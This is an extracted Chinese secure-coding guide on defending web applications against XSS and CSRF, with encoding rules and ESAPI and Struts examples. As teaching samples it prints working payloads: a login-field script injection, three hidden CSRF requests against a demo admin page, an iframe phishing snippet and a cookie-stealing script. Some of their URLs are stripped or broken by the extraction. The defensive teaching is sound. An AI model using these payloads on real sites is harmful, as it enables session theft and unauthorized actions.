web安全評(píng)測(cè)解決方案與代碼編寫規(guī)范_第1頁(yè)
web安全評(píng)測(cè)解決方案與代碼編寫規(guī)范_第2頁(yè)
web安全評(píng)測(cè)解決方案與代碼編寫規(guī)范_第3頁(yè)
web安全評(píng)測(cè)解決方案與代碼編寫規(guī)范_第4頁(yè)
web安全評(píng)測(cè)解決方案與代碼編寫規(guī)范_第5頁(yè)
已閱讀5頁(yè),還剩19頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范WEB安全評(píng)測(cè)解決方案與代碼編寫規(guī)范北京恒華偉業(yè)科技股份有限公司2013年10月北京恒華偉業(yè)科技股份有限公司四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范目錄1 Xss注入簡(jiǎn)介 . 21.1 一個(gè)簡(jiǎn)單的例子 . 21.2 網(wǎng)上的xss講解 . 3防御xss的七條原則 . 92.1 前言 . 92.2 原則1:不要在頁(yè)面中插入任何不可信數(shù)據(jù),除非這些數(shù)已經(jīng)據(jù)根據(jù)下面幾個(gè)原則進(jìn)行了編碼 . 102.3 原則2:在將不可信數(shù)據(jù)插入到HTML標(biāo)簽之間時(shí),對(duì)這些數(shù)據(jù)進(jìn)行HTML Entity編碼 112.4 原則3:在將不可信數(shù)據(jù)插入到HTML屬性里時(shí),對(duì)這些數(shù)據(jù)進(jìn)行HTML屬

2、性編碼 122.5 原則4:在將不可信數(shù)據(jù)插入到SCRIPT里時(shí),對(duì)這些數(shù)據(jù)進(jìn)行SCRIPT編碼142.6 原則5:在將不可信數(shù)據(jù)插入到Style屬性里時(shí),對(duì)這些數(shù)據(jù)進(jìn)行CSS編碼 . 162.7 原則6:在將不可信數(shù)據(jù)插入到HTML URL里時(shí),對(duì)這些數(shù)據(jù)進(jìn)行URL編碼 172.8 原則7:使用富文本時(shí),使用XSS規(guī)則引擎進(jìn)行編碼過(guò)濾 . 18項(xiàng)目中防御xss的具體措施 . 213.1 在jsp中的輸出防御 . 213.1.1 stuts標(biāo)簽輸出防御 . 213.1.2 Esapi標(biāo)簽輸出防御 . 213.1.3 Java輸出代碼防御通過(guò)<%=temp%>的方式 . 22防御ur

3、l中的xss代碼注入攻擊辦法 . 23控制通過(guò)輸入非登錄頁(yè)的url進(jìn)入系統(tǒng)功能 . 245.1.1 Referer驗(yàn)證過(guò)濾器 . 245.1.2 window.open和window.location.href=特殊處理 . 24系統(tǒng)日志組件的調(diào)用方法 . 256.1.1 方法一:直接調(diào)用 . 256.1.2 方法二通過(guò)Annotation . 25 2 3 4 5 6北京恒華偉業(yè)科技股份有限公司四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 1 Xss注入簡(jiǎn)介1.1 一個(gè)簡(jiǎn)單的例子先看下現(xiàn)在frp登錄頁(yè)面的xss注入漏洞先打開(kāi)系統(tǒng)登錄頁(yè)9:8080/scmm/然后在系

4、統(tǒng)用戶名中文本框中輸入1, xss: */->'"></iframe></script></style></title></textarea><script>alert(/xsstest/)</script> 密碼為 1點(diǎn)擊登錄按鈕,則出現(xiàn)如下界面原因是系統(tǒng)驗(yàn)證用戶名失敗后,重新跳轉(zhuǎn)到login.jsp而login.jsp中通過(guò)$userCode的方式對(duì)userCode變量進(jìn)行了直接的頁(yè)面輸出,從而執(zhí)行了不安全的腳本,正確的方式使應(yīng)當(dāng)對(duì)userCode進(jìn)行字符編碼轉(zhuǎn)換后再進(jìn)行輸出,

5、具體的編碼轉(zhuǎn)換輸出方式,請(qǐng)參照第三章節(jié)再比如在一個(gè)博客添加頁(yè)面blogAdd.jsp中有一個(gè)form表單<form><input type=”text” name=”blog.subject”/></form>Form表單提交后跳轉(zhuǎn)到blogInfo.jsp如果在js中使用blog.subject<script>Var blogSubject =”<s:property value=” blog.subject” />”;北京恒華偉業(yè)科技股份有限公司 2四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 </script>如果我在fro

6、m表單中blog.subject文本框中輸入“ var myiframe=document.createElement(“iframe”);myiframe.style.height=”100px;”; myiframe.style.width=”100px;”myiframe.src=”;document.getElementsByTagName(body)0.appendChild(myiframe);則會(huì)成功在你的網(wǎng)站上顯示出一個(gè)百度的頁(yè)面,使用類似的代碼可以實(shí)現(xiàn)網(wǎng)站釣魚(yú)功能 例如創(chuàng)建一個(gè)支付頁(yè)面,引誘你把賬號(hào)和密碼輸入到釣魚(yú)網(wǎng)站中正確的做法是對(duì)用戶輸入blog.subject文本框中的

7、值進(jìn)行非法字符過(guò)濾后再保存到數(shù)據(jù)庫(kù)或者在對(duì) blog.subject的字段值進(jìn)行輸出的時(shí)候進(jìn)行字符轉(zhuǎn)換轉(zhuǎn)換方式是將Var blogSubject =”<s:property value=” blog.subject” />”;修改為Var blogSubject =”<s:property value=” blog.subject” escapeJavaScript="true"/>”;因?yàn)閟truts的property標(biāo)簽?zāi)J(rèn)只對(duì)輸出的值進(jìn)行html過(guò)濾,而不對(duì)javaScript進(jìn)行過(guò)濾1.2 網(wǎng)上的xss講解XSS漏洞概述:XSS(Cross

8、Site Script)跨站點(diǎn)腳本攻擊是一種注射的問(wèn)題,在這種惡意腳本注入否則良性和信任的網(wǎng)站類型??缯军c(diǎn)腳本(XSS)攻擊,攻擊者使用時(shí),會(huì)出現(xiàn)一個(gè)網(wǎng)絡(luò)應(yīng)用程序發(fā)送惡意代碼,一般是在瀏覽器端腳本的形式,向不同的最終用戶。這些缺陷,使攻擊成功是相當(dāng)普遍,發(fā)生在任何地方從一個(gè)Web應(yīng)用程序使用在輸出它沒(méi)有驗(yàn)證或編碼了用戶輸入。攻擊者可以使用XSS的惡意腳本發(fā)送到一個(gè)毫無(wú)戒心的用戶。最終用戶的瀏覽有沒(méi)有辦法知道該腳本不應(yīng)該信任,將執(zhí)行該腳本。因?yàn)樗J(rèn)為該腳本來(lái)從一個(gè)受信任的源,惡意腳本可以訪問(wèn)任何Cookie,會(huì)話令牌,或其他敏感信息的瀏覽器保留,并與該網(wǎng)站使用。 甚至可以重寫這些腳本的HTML網(wǎng)

9、頁(yè)的內(nèi)容。XSS漏洞歷史:XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那時(shí)電子商務(wù)才剛剛起步,估計(jì)那時(shí)候國(guó)內(nèi)很少人會(huì)想象到今天出現(xiàn)的幾個(gè)國(guó)內(nèi)電子商務(wù)巨頭淘寶、當(dāng)當(dāng)、亞馬遜(卓越)。XSS的出現(xiàn)“得益”于JavaScript的出現(xiàn),JavaScript的出現(xiàn)給網(wǎng)頁(yè)的設(shè)計(jì)帶來(lái)了無(wú)限驚喜,包括今天風(fēng)行的AJAX(AsynschronousJavaScript and XML)。同時(shí),這些元素又無(wú)限的擴(kuò)充了今天的網(wǎng)絡(luò)安全領(lǐng)域。 XSS 漏洞攻擊特點(diǎn):(1)XSS跨站漏洞種類多樣人:XSS攻擊語(yǔ)句可插入到、URL地址參數(shù)后面、輸入框內(nèi)、img標(biāo)簽及DIV標(biāo)簽等HTML

10、函數(shù)的屬人里、Flash的getURL()動(dòng)作等地方都會(huì)觸發(fā)XSS漏洞。(2)XSS跨站漏洞代碼多樣人:為了躲避轉(zhuǎn)義HTML特殊字符函數(shù)及過(guò)濾函數(shù)的過(guò)濾,XSS跨站的代碼使用“/”來(lái)代替安字符“”、使用Tab鍵代替空格、部分語(yǔ)句轉(zhuǎn)找成16進(jìn)制、添加特北京恒華偉業(yè)科技股份有限公司 3四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 殊字符、改變大小寫及使用空格等來(lái)繞過(guò)過(guò)濾函數(shù)。如果在您的新聞系統(tǒng)發(fā)現(xiàn)安全漏洞,如果該漏洞是一個(gè)SQL 注入漏洞,那么該漏洞就會(huì)得到您的網(wǎng)站管理員密碼、可以在主機(jī)系統(tǒng)上執(zhí)行shell命令、對(duì)數(shù)據(jù)庫(kù)添加、刪除數(shù)據(jù)。如果在您的新聞或郵件系統(tǒng)中發(fā)現(xiàn)安全漏洞,如果該漏洞是一個(gè)XSS跨站漏洞

11、,那么可以構(gòu)造一些特殊代碼,只要你訪問(wèn)的頁(yè)面包含了構(gòu)造的特殊代碼,您的主機(jī)可能就會(huì)執(zhí)行木馬程序、執(zhí)行*Cookies代碼、突然轉(zhuǎn)到一個(gè)銀行及其它金融類的網(wǎng)站、泄露您的網(wǎng)銀及其它賬號(hào)與密碼等。 XSS攻擊原理:XSS 屬于被動(dòng)式的攻擊。攻擊者先構(gòu)造一個(gè)跨站頁(yè)面,利用script、<IMG>、<IFRAME>等各種方式使得用戶瀏覽這個(gè)頁(yè)面時(shí),觸發(fā)對(duì)被攻擊站點(diǎn)的http 請(qǐng)求。此時(shí),如果被攻擊者如果已經(jīng)在被攻擊站點(diǎn)登錄,就會(huì)持有該站點(diǎn)cookie。這樣該站點(diǎn)會(huì)認(rèn)為被攻擊者發(fā)起了一個(gè)http 請(qǐng)求。而實(shí)際上這個(gè)請(qǐng)求是在被攻擊者不知情的情況下發(fā)起的,由此攻擊者在一定程度上達(dá)到了冒

12、充被攻擊者的目的。精心的構(gòu)造這個(gè)攻擊請(qǐng)求,可以達(dá)到冒充發(fā)文,奪取權(quán)限等等多個(gè)攻擊目的。在常見(jiàn)的攻擊實(shí)例中,這個(gè)請(qǐng)求是通過(guò)script 來(lái)發(fā)起的,因此被稱為Cross Site Script。攻擊Yahoo Mail 的Yamanner 蠕蟲(chóng)是一個(gè)著名的XSS 攻擊實(shí)例。Yahoo Mail 系統(tǒng)有一個(gè)漏洞,當(dāng)用戶在web 上察看信件時(shí),有可能執(zhí)行到信件內(nèi)的javascript 代碼。病毒可以利用這個(gè)漏洞使被攻擊用戶運(yùn)行病毒的script。同時(shí)Yahoo Mail 系統(tǒng)使用了Ajax技術(shù),這樣病毒的script 可以很容易的向Yahoo Mail 系統(tǒng)發(fā)起ajax 請(qǐng)求,從而得到用戶的地址簿,并

13、發(fā)送病毒給他人。 XSS 攻擊主要分為兩類:一類是來(lái)自內(nèi)部的攻擊,主要指的是利用WEB 程序自身的漏洞,提交特殊的字符串,從而使得跨站頁(yè)面直接存在于被攻擊站點(diǎn)上,這個(gè)字符串被稱為跨站語(yǔ)句。這一類攻擊所利用的漏洞非常類似于SQL Injection 漏洞,都是WEB程序沒(méi)有對(duì)用戶輸入作充分的檢查和過(guò)濾。上文的Yamanner 就是一例。另一類則是來(lái)來(lái)自外部的攻擊,主要指的自己構(gòu)造XSS 跨站漏洞網(wǎng)頁(yè)或者尋找非目標(biāo)機(jī)以外的有跨站漏洞的網(wǎng)頁(yè)。如當(dāng)我們要滲透一個(gè)站點(diǎn),我們自己構(gòu)造一個(gè)跨站網(wǎng)頁(yè)放在自己的服務(wù)器上,然后通過(guò)結(jié)合其它技術(shù),如社會(huì)工程學(xué)等,欺騙目標(biāo)服務(wù)器的管理員打開(kāi)。這一類攻擊的威脅相對(duì)較低,

14、至少ajax 要發(fā)起跨站調(diào)用是非常困難的。案例實(shí)戰(zhàn):我們來(lái)看一個(gè)簡(jiǎn)單的攻擊實(shí)例,下表給出了一個(gè)簡(jiǎn)單的網(wǎng)站:8080/testxss,該網(wǎng)站的密碼和用戶名相同,普通用戶可以修改user value,當(dāng)以admin 身份登陸時(shí)可以通過(guò)向doadmin.jsp 發(fā)起請(qǐng)求來(lái)修改admin value。index.jsp<html><body><textarea rows="3" cols="100" readonly="on">Current User: $usernameAdmin Value: $adm

15、invalueUser Value: $uservalue北京恒華偉業(yè)科技股份有限公司 4四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 </textarea><br><a href="login.jsp"/>logout</a><br>Login:<br><form action="login.jsp" method="post">username: <input type="text" name="u">&

16、lt;/input> <br>password: <input type="text" name="p"></input> <br><input type="submit" /> password = username :-)</form><form action="doadmin.jsp" method="post">adminvalue: <input type="text"

17、name="v"></input> <br><input type="submit" /></form><form action="doadmin.jsp" method="post">uservalue: <input type="text" name="v2"></input> <br><input type="submit" /><

18、/form></body>login.jsp<%String u = request.getParameter("u");String p = request.getParameter("p");if (u != null && p != null && u.equals(p) session.setAttribute("username", u); else session.removeAttribute("username");response.sendR

19、edirect("index.jsp");%>doadmin.jsp<%String u = (String)session.getAttribute("username");String v = request.getParameter("v");String v2 = request.getParameter("v2");if (u != null && u.equals("admin") if (v != null)application.setAttribut

20、e("adminvalue", v);if (u != null && v2 != null)application.setAttribute("uservalue", v2);北京恒華偉業(yè)科技股份有限公司 5四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 response.sendRedirect("index.jsp");%>容易想到,只要誘騙admin 用戶發(fā)起一個(gè)到:8080/testxss/doadmin.jsp 的http 請(qǐng)求,就能成功攻擊。因此我們?cè)O(shè)計(jì)跨站語(yǔ)句如下:hello </textarea&g

21、t; <img src="style="display:none"> </img>hello </textarea> <form id="shit"action=":8080/testxss/doadmin.jsp" metho nd="post" target="myframe"/> <input type="hidden" name="v"value="hacked3"

22、/> </form> <iframestyle="display:none" name="myframe"></iframe><script>document.forms0.submit()</script>hello </textarea> <script language="jscript">v = newActiveXObject("MSXML2.XMLHTTP.3.0"); v.open("GET"

23、,":8080/testxss/doadmin.jsp?v=hacked4"); v.send();alert(v.statusText);</script>以普通用戶身份修改user value 為以上任何一個(gè),當(dāng)admin 瀏覽index.jsp 時(shí),即可悄無(wú)聲息的修改admin value這里演示了3 種跨站手法:1 是利用img、iframe 等tag 直接發(fā)起請(qǐng)求,這適用于無(wú)法直接出script 的情況,其中 是一個(gè)redirect,指向 :8080/testxss/doadmin.jsp?v=hacked2 ; 2 是用script 提交post 表

24、單;3 是ajax 技術(shù)。以上攻擊能夠成功有2 個(gè)原因:1. 應(yīng)用程序沒(méi)有對(duì)user value 做足夠多的過(guò)濾,導(dǎo)致用戶有機(jī)會(huì)構(gòu)造一個(gè)復(fù)雜的跨站語(yǔ)句來(lái)觸發(fā)admin 的非預(yù)期行為;2. 應(yīng)用程序在響應(yīng)admin value 修改請(qǐng)求時(shí)沒(méi)有防范措施來(lái)識(shí)別這是不是出于用戶主動(dòng)。漏洞1 很容易修復(fù),只要像防止SQL Injection 那樣對(duì)用戶輸入的所有內(nèi)容都過(guò)濾即可。漏洞2 才是問(wèn)題的根源,即便我們修補(bǔ)了漏洞1,只要誘使admin 用戶訪問(wèn)包含<imgsrc=" </img>的頁(yè)面,仍然能達(dá)到目的,而這是一件極容易做到的事。防范措施:北京恒華偉業(yè)科技股份有限公司 6

25、四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 這里給出一些防范XSS 攻擊的措施。必須說(shuō)明的是,對(duì)于XSS 攻擊,并不像SQLInjection 那樣可以有一勞永逸的解決方案只需要grep 一下所有的sql 調(diào)用。這是一場(chǎng)長(zhǎng)期的斗爭(zhēng),而且往往需要我們采取修改業(yè)務(wù)流程、產(chǎn)品設(shè)計(jì)等看似削足適履的手段。先總結(jié)一下常見(jiàn)的攻擊手法:1. 依賴跨站漏洞,需要在被攻擊網(wǎng)站的頁(yè)面種入腳本的手法1.1. Cookie 盜取,通過(guò)javascript 獲取被攻擊網(wǎng)站種下的cookie,并發(fā)送給攻擊者。1.1.1. 從cookie 中提取密碼等隱私1.1.2. 利用cookie 偽造session,發(fā)起重放攻擊1.2. A

26、jex 信息盜取,通過(guò)javascript 發(fā)起ajex 請(qǐng)求。1.2.1. 從ajex 結(jié)果中獲取隱私。1.2.2. 模擬用戶完成多頁(yè)表單。2. 不依賴跨站漏洞的手法2.1. 單向HTTP 動(dòng)作,通過(guò)img.src 等方法發(fā)起跨站訪問(wèn),冒充被攻擊者執(zhí)行特權(quán)操作。但是很難拿到服務(wù)器的返回值。2.2. 雙向HTTP 動(dòng)作,如果服務(wù)器產(chǎn)生一段動(dòng)態(tài)的script,那么可以用script.src 的方法發(fā)起跨站訪問(wèn)并拿到服務(wù)器的返回值。防范手法如下:1. 防堵跨站漏洞,阻止攻擊者利用在被攻擊網(wǎng)站上發(fā)布跨站攻擊語(yǔ)句不可以信任用戶提交的任何內(nèi)容,首先代碼里對(duì)用戶輸入的地方和變量都需要仔細(xì)檢查長(zhǎng)度和對(duì)”&l

27、t;”,”>”,”;”,”等字符做過(guò)濾;其次任何內(nèi)容寫到頁(yè)面之前都必須加以encode,避免不小心把html tag 弄出來(lái)。這一個(gè)層面做好,至少可以堵住超過(guò)一半的XSS 攻擊。2. Cookie 防盜首先避免直接在cookie 中泄露用戶隱私,例如email、密碼等等。其次通過(guò)使cookie 和系統(tǒng)ip 綁定來(lái)降低cookie 泄露后的危險(xiǎn)。這樣攻擊者得到的cookie 沒(méi)有實(shí)際價(jià)值,不可能拿來(lái)重放。3. 盡量采用POST 而非GET 提交表單POST 操作不可能繞開(kāi)javascript 的使用,這會(huì)給攻擊者增加難度,減少可利用的跨站漏洞。4. 嚴(yán)格檢查refer檢查http refe

28、r 是否來(lái)自預(yù)料中的url。這可以阻止第2 類攻擊手法發(fā)起的http 請(qǐng)求,也能防止大部分第1 類攻擊手法,除非正好在特權(quán)操作的引用頁(yè)上種了跨站訪問(wèn)。5. 將單步流程改為多步,在多步流程中引入效驗(yàn)碼多步流程中每一步都產(chǎn)生一個(gè)驗(yàn)證碼作為hidden 表單元素嵌在中間頁(yè)面,下一步操作時(shí)這個(gè)驗(yàn)證碼被提交到服務(wù)器,服務(wù)器檢查這個(gè)驗(yàn)證碼是否匹配。 首先這為第1 類攻擊者大大增加了麻煩。其次攻擊者必須在多步流程中拿到上一步產(chǎn)生的效驗(yàn)碼才有可能發(fā)起下一步請(qǐng)求,這在第2 類攻擊中是幾乎無(wú)法做到的。北京恒華偉業(yè)科技股份有限公司 7四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范6. 引入用戶交互簡(jiǎn)單的一個(gè)看圖識(shí)數(shù)可以堵住幾

29、乎所有的非預(yù)期特權(quán)操作。7. 只在允許anonymous 訪問(wèn)的地方使用動(dòng)態(tài)的javascript。8. 對(duì)于用戶提交信息的中的img 等link,檢查是否有重定向回本站、不是真的圖片等可疑操作。9. 內(nèi)部管理網(wǎng)站的問(wèn)題很多時(shí)候,內(nèi)部管理網(wǎng)站往往疏于關(guān)注安全問(wèn)題,只是簡(jiǎn)單的限制訪問(wèn)來(lái)源。這種網(wǎng)站往往對(duì)XSS 攻擊毫無(wú)抵抗力,需要多加注意。安全問(wèn)題需要長(zhǎng)期的關(guān)注,從來(lái)不是一錘子買賣。XSS 攻擊相對(duì)其他攻擊手段更加隱蔽和多變,和業(yè)務(wù)流程、代碼實(shí)現(xiàn)都有關(guān)系,不存在什么一勞永逸的解決方案。此外,面對(duì)XSS,往往要犧牲產(chǎn)品的便利性才能保證完全的安全,如何在安全和便利之間平衡也是一件需要考慮的事情。we

30、b應(yīng)用開(kāi)發(fā)者注意事項(xiàng):1.對(duì)于開(kāi)發(fā)者,首先應(yīng)該把精力放到對(duì)所有用戶提交內(nèi)容進(jìn)行可靠的輸入驗(yàn)證上。這些提交內(nèi)容包括URL、查詢關(guān)鍵字、http頭、post數(shù)據(jù)等。只接受在你所規(guī)定長(zhǎng)度范圍內(nèi)、采用適當(dāng)格式、你所希望的字符。阻塞、過(guò)濾或者忽略其它的任何東西。2.保護(hù)所有敏感的功能,以防被bots自動(dòng)化或者被第三方網(wǎng)站所執(zhí)行。實(shí)現(xiàn)session標(biāo)記(session tokens)、CAPTCHA系統(tǒng)或者HTTP引用頭檢查。3.如果你的web應(yīng)用必須支持用戶提供的HTML,那么應(yīng)用的安全性將受到災(zāi)難性的下滑。但是你還是可以做一些事來(lái)保護(hù)web站點(diǎn):確認(rèn)你接收的HTML內(nèi)容被妥善地格式化,僅包含最小化的、

31、安全的tag(絕對(duì)沒(méi)有JavaScript),去掉任何對(duì)遠(yuǎn)程內(nèi)容的引用(尤其是樣式表和JavaScript)。為了更多的安全,請(qǐng)使用httpOnly的cookie。北京恒華偉業(yè)科技股份有限公司 8四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范 2 防御xss的七條原則2.1 前言本章節(jié)將會(huì)著重介紹防御XSS攻擊的一些原則,需要讀者對(duì)于XSS有所了解,至少知道XSS漏洞的基本原理,如果您對(duì)此不是特別清楚,請(qǐng)參考這兩篇文章:Stored and Reflected XSS AttackDOM Based XSS攻擊者可以利用XSS漏洞向用戶發(fā)送攻擊腳本,而用戶的瀏覽器因?yàn)闆](méi)有辦法知道這段腳本是不可信的,所以

32、依然會(huì)執(zhí)行它。對(duì)于瀏覽器而言,它認(rèn)為這段腳本是來(lái)自可以信任的服務(wù)器的,所以腳本可以光明正大地訪問(wèn)Cookie,或者保存在瀏覽器里被當(dāng)前網(wǎng)站所用的敏感信息,甚至可以知道用戶電腦安裝了哪些軟件。這些腳本還可以改寫HTML頁(yè)面,進(jìn)行釣魚(yú)攻擊。雖然產(chǎn)生XSS漏洞的原因各種各樣,對(duì)于漏洞的利用也是花樣百出,但是如果我們遵循本文提到防御原則,我們依然可以做到防止XSS攻擊的發(fā)生。有人可能會(huì)問(wèn),防御XSS的核心不就是在輸出不可信數(shù)據(jù)的時(shí)候進(jìn)行編碼,而現(xiàn)如今流行的Web框架(比如Rails)大多都在默認(rèn)情況下就對(duì)不可信數(shù)據(jù)進(jìn)行了HTML編碼,幫我們做了防御,還用得著我們自己再花時(shí)間研究如何防御XSS嗎?答案是

33、肯定的,對(duì)于將要放置到HTML頁(yè)面body里的不可信數(shù)據(jù),進(jìn)行HTML編碼已經(jīng)足夠防御XSS攻擊了,甚至將HTML編碼后的數(shù)據(jù)放到HTML標(biāo)簽(TAG)的屬性(attribute)里也不會(huì)產(chǎn)生XSS漏洞(但前提是這些屬性都正確使用了引號(hào)),但是,如果你將HTML編碼后的數(shù)據(jù)放到了<SCRIPT>標(biāo)簽里的任何地方,甚至是HTML標(biāo)簽的事件處理屬性里(如onmouseover),又或者是放到了CSS、URL里,XSS攻擊依然會(huì)發(fā)生,在這種情況下,HTML編碼不起作用了。所以就算你到處使用了HTML編碼,XSS漏洞依然可能存在。下面這幾條規(guī)則就將告訴你,如何在正確的地方使用正確的編碼來(lái)消

34、除XSS漏洞。北京恒華偉業(yè)科技股份有限公司 9四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范2.2 原則1:不要在頁(yè)面中插入任何不可信數(shù)據(jù),除非這些數(shù)已經(jīng)據(jù)根據(jù)下面幾個(gè)原則進(jìn)行了編碼第一條原則其實(shí)是“Secure By Default”原則:不要往HTML頁(yè)面中插入任何不可信數(shù)據(jù),除非這些數(shù)據(jù)已經(jīng)根據(jù)下面幾條原則進(jìn)行了編碼。之所以有這樣一條原則存在,是因?yàn)镠TML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差別,比如有些漏洞發(fā)生在HTML標(biāo)簽里,有些發(fā)生在HTML標(biāo)簽的屬性里,還有的發(fā)生在頁(yè)面的<Script>里,甚至有些還出現(xiàn)在CSS里,再加上不同的瀏覽器對(duì)頁(yè)面的解析或多或少有

35、些不同,使得有些漏洞只在特定瀏覽器里才會(huì)產(chǎn)生。如果想要通過(guò)XSS過(guò)濾器(XSS Filter)對(duì)不可信數(shù)據(jù)進(jìn)行轉(zhuǎn)義或替換,那么XSS過(guò)濾器的過(guò)濾規(guī)則將會(huì)變得異常復(fù)雜,難以維護(hù)而且會(huì)有被繞過(guò)的風(fēng)險(xiǎn)。所以實(shí)在想不出有什么理由要直接往HTML頁(yè)面里插入不可信數(shù)據(jù),就算是有XSS過(guò)濾器幫你做過(guò)濾,產(chǎn)生XSS漏洞的風(fēng)險(xiǎn)還是很高。<script>不要在這里直接插入不可信數(shù)據(jù)</script>直接插入到SCRIPT標(biāo)簽里<! 不要在這里直接插入不可信數(shù)據(jù) >插入到HTML注釋里<div 不要在這里直接插入不可信數(shù)據(jù)=”></div>插入到HTML標(biāo)

36、簽的屬性名里<div name=”不要在這里直接插入不可信數(shù)據(jù)”></div>插入到HTML標(biāo)簽的屬性值里<不要在這里直接插入不可信數(shù)據(jù) href=”></a>北京恒華偉業(yè)科技股份有限公司 10四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范作為HTML標(biāo)簽的名字<style>不要在這里直接插入不可信數(shù)據(jù)</style>直接插入到CSS里最重要的是,千萬(wàn)不要引入任何不可信的第三方JavaScript到頁(yè)面里,一旦引入了,這些腳本就能夠操縱你的HTML頁(yè)面,竊取敏感信息或者發(fā)起釣魚(yú)攻擊等等。2.3 原則2:在將不可信數(shù)據(jù)插入到HTML標(biāo)

37、簽之間時(shí),對(duì)這些數(shù)據(jù)進(jìn)行HTMLEntity編碼在這里相當(dāng)強(qiáng)調(diào)是往HTML標(biāo)簽之間插入不可信數(shù)據(jù),以區(qū)別于往HTML標(biāo)簽屬性部分插入不可信數(shù)據(jù),因?yàn)檫@兩者需要進(jìn)行不同類型的編碼。當(dāng)你確實(shí)需要往HTML標(biāo)簽之間插入不可信數(shù)據(jù)的時(shí)候,首先要做的就是對(duì)不可信數(shù)據(jù)進(jìn)行HTML Entity編碼。比如,我們經(jīng)常需要往DIV,P,TD這些標(biāo)簽里放入一些用戶提交的數(shù)據(jù),這些數(shù)據(jù)是不可信的,需要對(duì)它們進(jìn)行HTML Entity編碼。很多Web框架都提供了HTML Entity編碼的函數(shù),我們只需要調(diào)用這些函數(shù)就好,而有些Web框架似乎更“智能”,比如Rails,它能在默認(rèn)情況下對(duì)所有插入到HTML頁(yè)面的數(shù)據(jù)進(jìn)

38、行HTML Entity編碼,盡管不能完全防御XSS,但著實(shí)減輕了開(kāi)發(fā)人員的負(fù)擔(dān)。</div><p>插入不可信數(shù)據(jù)前,對(duì)其進(jìn)行HTML Entity編碼</p>以此類推,往其他HTML標(biāo)簽之間插入不可信數(shù)據(jù)前,對(duì)其進(jìn)行HTML Entity編碼 <body>插入不可信數(shù)據(jù)前,對(duì)其進(jìn)行HTML Entity編碼</body><div>插入不可信數(shù)據(jù)前,對(duì)其進(jìn)編碼規(guī)則那么HTML Entity編碼具體應(yīng)該做哪些事情呢?它需要對(duì)下面這6個(gè)特殊字符進(jìn)行編碼:北京恒華偉業(yè)科技股份有限公司 11四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范&a

39、mp; > &< > <> > >” > " > &#x27;/ > &#x2f;有兩點(diǎn)需要特別說(shuō)明的是: 不推薦將單引號(hào)( )編碼為 &apos; 因?yàn)樗⒉皇菢?biāo)準(zhǔn)的HTML標(biāo)簽 需要對(duì)斜杠號(hào)( / )編碼,因?yàn)樵谶M(jìn)行XSS攻擊時(shí),斜杠號(hào)對(duì)于關(guān)閉當(dāng)前HTML標(biāo)簽非常有用推薦使用OWASP提供的ESAPI函數(shù)庫(kù),它提供了一系列非常嚴(yán)格的用于進(jìn)行各種安全編碼的函數(shù)。在當(dāng)前這個(gè)例子里,你可以使用:String encodedContent = ESAPI.encoder().encodeForHT

40、ML(request.getParameter(“input”);2.4 原則3:在將不可信數(shù)據(jù)插入到HTML屬性里時(shí),對(duì)這些數(shù)據(jù)進(jìn)行HTML屬性編碼這條原則是指,當(dāng)你要往HTML屬性(例如width、name、value屬性)的值部分(data value)插入不可信數(shù)據(jù)的時(shí)候,應(yīng)該對(duì)數(shù)據(jù)進(jìn)行HTML屬性編碼。不過(guò)需要注意的是,當(dāng)要往HTML標(biāo)簽的事件處理屬性(例如onmouseover)里插入數(shù)據(jù)的時(shí)候,本條原則不適用,應(yīng)該用下面介紹的原則4對(duì)其進(jìn)行JavaScript編碼。<div attr=插入不可信數(shù)據(jù)前,進(jìn)行HTML屬性編碼></div>屬性值部分沒(méi)有使用引

41、號(hào),不推薦<div attr=插入不可信數(shù)據(jù)前,進(jìn)行HTML屬性編碼></div>北京恒華偉業(yè)科技股份有限公司 12四川電科院信息系統(tǒng) 代碼安全編寫規(guī)范屬性值部分使用了單引號(hào)<div attr=”插入不可信數(shù)據(jù)前,進(jìn)行HTML屬性編碼”></div>屬性值部分使用了雙引號(hào)編碼規(guī)則除了阿拉伯?dāng)?shù)字和字母,對(duì)其他所有的字符進(jìn)行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 &#xHH; (以&#x開(kāi)頭,HH則是指該字符對(duì)應(yīng)的十六進(jìn)制數(shù)字,分號(hào)作為結(jié)束符)之所以編碼規(guī)則如此嚴(yán)格,是因?yàn)殚_(kāi)發(fā)者有時(shí)會(huì)忘記給屬性的值部分加上引號(hào)。

42、如果屬性值部分沒(méi)有使用引號(hào)的話,攻擊者很容易就能閉合掉當(dāng)前屬性,隨后即可插入攻擊腳本。例如,如果屬性沒(méi)有使用引號(hào),又沒(méi)有對(duì)數(shù)據(jù)進(jìn)行嚴(yán)格編碼,那么一個(gè)空格符就可以閉合掉當(dāng)前屬性。請(qǐng)看下面這個(gè)攻擊:假設(shè)HTML代碼是這樣的:<div width=$INPUT> content </div>攻擊者可以構(gòu)造這樣的輸入:x onmouseover=”javascript:alert(/xss/)”最后,在用戶的瀏覽器里的最終HTML代碼會(huì)變成這個(gè)樣子:<div width=x onmouseover=”javascript:alert(/xss/)”> content

43、 </div>只要用戶的鼠標(biāo)移動(dòng)到這個(gè)DIV上,就會(huì)觸發(fā)攻擊者寫好的攻擊腳本。在這個(gè)例子里,腳本僅僅彈出一個(gè)警告框,除了惡作劇一下也沒(méi)有太多的危害,但是在真實(shí)的攻擊中,攻擊者會(huì)使用更加具有破壞力的腳本,例如下面這個(gè)竊取用戶cookie的XSS攻擊:?x /> <script>var img = document.createElement(“img”);img.src = ” + 1 escape(document.cookie);document.body.appendChild(img);</script> <div北京恒華偉業(yè)科技股份有限公

